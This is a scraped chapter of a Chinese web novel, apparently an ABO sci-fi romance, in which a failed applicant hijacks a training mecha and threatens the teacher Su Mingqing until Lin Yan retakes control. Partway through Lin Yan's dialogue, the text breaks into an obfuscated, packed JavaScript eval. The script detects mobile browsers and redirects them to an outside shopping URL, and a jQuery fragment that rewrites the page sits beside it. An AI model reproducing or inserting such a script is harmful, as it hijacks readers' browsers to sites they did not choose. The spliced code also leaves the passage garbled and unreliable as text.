可机甲也在他们头上停了下来。 上空传来一道疑惑的声音:“苏老师?” 苏明清抬头,怒目而视,“你是谁?为什么说是我的学生?我从来没见过你上课。” 对方像是在思考,沉默了片刻,随即笑了起来。 “你是苏明清?你就是苏明清?”不知道他在操控室里做了什么,机甲都晃动了起来,用于充当机甲眼睛的扫描摄像头明晃晃放在了苏明清的面部,充满了打量的意味,“久仰大名,没想到你长得还真是……带劲。” 蔺言攥紧拳头,生出一股把摄像头砸烂的冲动。 “没想到啊,”对方的声音从上空飘下,“几十年内,第一个考进星大机甲系的omega,竟然长了一副欠/操的脸,我听说你还结婚了?旁边那是你的alpha?” 蔺言隐忍着怒火,“把嘴巴给我放干净点!” 然而苏明清对于别人的羞辱,却出乎意料的能忍让,脸上的表情甚至没什么变化,还不如早晨得知蔺言生病时波动大。 他靠着几句话,开始反推这人的身份,“你是考生?或者是什么复读生?你的考试目标是星大?” 对方沉默了,轻哼一声,就想飞走。 苏明清道:“你能说出我的名字,说明你关注我很久了,或者说,关注我的学校很久了,你应该知道,没有专业证件,或者不学习相关专业就操纵机甲属于违法行为,你今天过来闹这一出,应该不是想羞辱一下别人这么简单吧?” 短短几句话的功夫,蔺言也反应了过来。 他依旧护在苏明清面前,“小子,每个学校的训练场,都配备有这么多的工作人员,你猜猜他们是干什么的?二楼有中控室,可以操控这个场地里的所有机甲,你现在乖乖下来,惩罚也许还没那么严重,如果等他们切断能源制裁你,判刑是肯定的,你猜猜你会被判几年?” 对方闻言,这才有点慌了神,“你少骗我了!我来之前查过,顶多拘留几天!” “拘留?”蔺言笑着摇头,“你查资料也不查准确一点?而且就算是拘留,这种性质的也会留案底,你要是还想考试……” 他“啧啧”了两声,一切尽在不言中。 在对方陷入沉思时,蔺言后退两步,拍了拍苏明清的手背。 他低声道:“你离他远点,我去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14272754|147645||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 中控室看看。” 苏明清“嗯”了一下。 可在蔺言走后不久,机甲内的绿毛人却好像抓狂了,暴躁地锤了两下操控杆,机甲在空中摇摇晃晃。 “凭什么!凭什么我就这么倒霉!” 苏明清四平八稳,“不,每个人都很倒霉,不止你一个。” “不止我一个?”绿毛人冷笑,“可是被取消了考试资格的就我一个,你一个omega,以omega的身份考进星大,你当然不能想象到别人有多倒霉!” 中控室内。 “快疏散训练场的学生,警察快赶到了吗?” “说十分钟内能到。” “好,”蔺言耳听八方,眼神专注在操控盘,“你们除了切断能源,没有其他的办法?不能强行取得控制权?” “蔺先生,您也是星大的,您该知道,这样会对机甲造成不可逆的损伤,等于完全报废了。不过我看机甲距离地面已经很近,不如直接迫降?” 他们的工作已经出现重大失误,再报废一台机甲,学校绝对会开了他们。 “不行!”蔺言立刻否决,盯着一楼中央,“苏明清……苏老师离他太近了,会对他造成伤害。” 这也不行,那也不行,就只能僵持。 一楼训练场。 苏明清施施然问:“你有多倒霉?” 在他冷静的状态下,绿毛人被衬托得像个疯子,他笑着道:“我连着三年报考星大,每次都以一两分的差距落榜,今年已经是第四年了。” “第四年?”苏明清道,“确实够久的。” “你什么意思?”绿毛人笑容一下子消失了,“你觉得我笨?你有什么资格觉得我笨?” 本来不该刺激这种人,嘴巴一毒起来就忍不住,苏明清道:“我一次就考上,你考了四次,我为什么没资格?” 绿毛人再次狂笑起来,“你说呢?你一个omega,考上星大,怎么考上的你心里不清楚吗?” 二楼中控室。 蔺言气笑了,“这属于造谣的范畴吗?” 周围人也都陪笑,但心里怎么想的不好说,“这人就是个疯子,苏老师在我们学校风评一直很好,怎么能相信疯子说的话?” 苏明清配不配考星大,没人比蔺言更清楚,他痛苦的大学生活可不是白过的。 蔺言阴沉下脸,骂都不知道骂谁。 就在蔺言忍无可忍,想直接毁坏机甲控制权时,他又听见苏明清开口。 “所以你的意思是,我的学历有猫腻?分数造假?” 苏明清还想了想,“我靠谁?难不成是蔺言帮我的?” 绿毛人冷哼。 苏明清道:“很遗憾,我那时候还和他不认识,甚至直到我大学毕业以前,都是孤儿,我上大学的学费是靠奖学金,生活费靠兼职,高中时靠班主任救济,而再往前倒退,小时候我住在福利院里,福利院里都是一群穷人。” 全场鸦雀无声。 苏明清问:“你还有什么想了解的吗?” 机甲彷佛凝滞在了半空。 “论倒霉的话,”苏明清道,“我高中的时候因为学习太晚,经常被人误锁在教室里,导致我在教室里睡过很多次算不算?” 蔺言已经意识到他要说什么。 他拽过来一个工作人员,“给我把这台机甲的控制权毁了,新的机甲我来捐,快点——” “再往前回顾的话,”苏明清顿了一下,“我因为小时候不太听话,被福利院的院长长期虐待,经常克扣我的饭菜,冬天让我跪冰块,夏天让我围着火炉唱歌,算不算?” 中控室里也安静了下来。 蔺言听着苏明清平淡的语气,脑子里彷佛有一根跳动的、肿胀的筋,每跳动一下,就是一阵剧烈的疼痛。 他咬着牙,“真他妈够了……” 怎么能把自己的苦难,以这种轻描淡写的方式撕开? 正在这时,突变横生! ——操纵机甲的绿毛,缓缓伸出一条机械手臂,手掌全展开,有一米多长,足以完全攥住苏明清的腰。 蔺言:“苏明清!” 绿毛道:“你以为你说这些,我就会放过你吗?” “你要是不想死,就给我住手!”蔺言已经走到了眺望台边缘,“好好跟你说话,你非不听是不是?” 苏明清道:“你要有那个胆量,随便你。” 工作人员问:“操控键我们现在就摁吗?” 转瞬间又乱成了一锅粥。 在凌乱到几乎找不出头绪的时刻,绿毛人已经把苏明清举了起来,在半空悬停。 苏明清道:“杀人的话,就不只是判刑,你大概要去流放星了。” “已经有了案底,对我来说,去流放星和在这里没什么区别。” 绿毛人把苏明清放在同一水平上端详。 “没办法,你就当你倒……” 砰! 几乎在同一时间,一声巨大的提示音在机甲内传来,还有什么重物落地的声音,机甲颤动了一下,绿毛人崩溃的声音响起,“怎么回事?我怎么操控不了了?” 蔺言半跪在机甲顶上,电光火石间锁定目标,攀上机械手臂,中控室内,工作人员操控机甲倒转,蔺言死死抱住苏明清,直接在上空旋转了一圈! 翻江倒海,上下倒错。 蔺言和苏明清四目相对。 轰然一声。 机甲发出巨大的噪音,落地的声音几乎要击破人的耳膜。 蔺言来不及把苏明清从机械手臂中扯出来,崩溃道:“苏明清,你是不是不要命了?你为什么要刺激他?!” 脑海中有什么东西,疯狂要涌动出来。 细碎的画面在他眼前闪,好像有一张熟悉的脸,是苏明清,脏兮兮的,脸上带着尘土灰屑,茫然不解地盯着他。 “这是刺激吗,”苏明清扯起嘴角,说出记忆中同样的话,“我不知道。” 19.第 19 章 把人救下来之后,苏明清还没怎么样,蔺言紧接着转过身,朝着机甲的操控室走去。 他一拳砸在了操控室前的透明玻璃上! 这玻璃是防弹的,一拳下去纹丝未动,蔺言接着又砸下去一拳,接着又是一拳! 玻璃上慢慢出现了蛛丝样的纹裂。 在又一拳过后,中控室的人总算从目瞪口呆中回神,操控室玻璃缓缓打开,蔺言趁机钻了进去,在绿毛人的崩溃大叫中,摁住他的脖子又给了他一拳。 “你不能打我!救命!”顶级alpha的一拳不是开玩笑的,绿毛人这时倒想起来遵纪守法了,“犯法……你打人是犯法的!” 蔺言连嘴皮子都懒得跟他斗,下手毫不留情。 苏明清也厉声道:“蔺言!” 蔺言的动作一滞。 与此同时,联邦警察姗姗来迟,没想到他们来到的第一件事不是制服罪犯,而是把他们本市最杰出的alpha拽下来。 绿毛人已经被打得半张脸比一张脸还大,眼皮里像塞了鹌鹑蛋,稍一啼哭,粉红色的血沫就溢出来。 “请您先控制好自己的情绪,不要这么哭。” “你管我哭,怎么不管那个打人的!” 苏明清朝着蔺言走过去。 嘈杂中,他与蔺言对视。 这一眼的感觉很复杂,来不及说什么,蔺言先晕了过去。 苏明清连忙上前,一堆人慌慌张张过来,查看他们的情况。 “没什么大事,他发烧了,”苏明清条理,“事后的笔录我去会做,我带他去一趟医院。” “您一个omega,应付得了生病的alpha吗?需不需要我们派人帮您?” 苏明清用单手拎起alpha作为回答。 绿帽男被打得口齿不清,还不老实,“他明明……他明明可以躲开!我冤枉!” 没人管他冤不冤枉了,警察已经给他戴上了手铐。 * 蔺言做了一个很长的梦。 梦里不再是碎片式的剪影,而是一段很长的记忆。 他似乎背着谁在走,但并不是出于自愿,“要不是人生地不熟,我才懒得管你,掉队也就算了,还能把自己的脚扭伤,你平时不是挺厉害吗?这种时候倒是不嘴毒了。” 熟悉的声音从他背上飘来,耳边还有热气,“特殊情况特殊对待,我不想死。” 蔺言被他坦诚的态度搞得一噎,“我倒是不知道该夸你诚实好,还是说你识 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果然是个彪悍的omega。